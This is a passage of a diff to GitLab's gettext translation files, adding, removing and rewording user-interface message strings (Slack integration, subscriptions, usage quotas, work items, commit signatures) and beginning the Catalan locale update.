msgid "Sign-in page"
msgstr ""
@@ -38878,9 +39538,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38911,6 +39568,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38938,10 +39601,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38953,22 +39616,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39466,6 +40123,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39661,15 +40324,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40159,18 +40822,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40387,6 +41068,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40405,7 +41089,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40426,9 +41110,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40918,15 +41599,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40957,6 +41629,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41227,9 +41914,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41485,6 +42169,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41635,6 +42322,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41839,6 +42529,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42187,6 +42880,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42289,21 +42985,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42526,6 +43228,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42601,9 +43306,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42808,7 +43510,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43252,6 +43954,12 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43468,7 +44176,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43765,24 +44473,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43888,15 +44584,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44068,6 +44761,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44110,6 +44806,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44290,6 +44989,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44329,6 +45031,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44398,6 +45103,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44560,15 +45268,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44599,15 +45301,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44665,24 +45361,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44710,9 +45394,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44731,15 +45412,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44896,6 +45571,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44953,6 +45631,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45127,9 +45811,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45196,10 +45877,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45367,10 +46048,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45562,6 +46240,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45574,9 +46255,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45646,6 +46324,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45742,6 +46423,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45775,6 +46459,9 @@ msgstr[2] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45787,6 +46474,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45811,9 +46501,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46546,10 +47233,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46999,9 +47686,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47089,6 +47788,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47098,7 +47800,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47131,7 +47833,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47185,6 +47887,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47206,6 +47914,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47311,6 +48025,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47443,9 +48160,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47536,6 +48250,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47575,9 +48292,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47593,7 +48307,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47686,7 +48400,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47716,6 +48430,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47833,6 +48550,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47986,8 +48706,11 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "YouTube"
msgstr ""
@@ -48226,6 +48949,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48253,7 +48979,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48331,6 +49057,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48535,6 +49264,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48775,10 +49507,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48934,9 +49669,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49429,9 +50161,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49951,6 +50680,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50038,12 +50770,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50464,6 +51190,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index 7ba6a054a81..0d333764440 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr " Des de %{start} fins %{end}"
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr "%{size} GB"
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 rol"
msgstr[1] "%d rols"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 usuari"
-msgstr[1] "%{num} usuaris"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr "Atura les tasques"
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
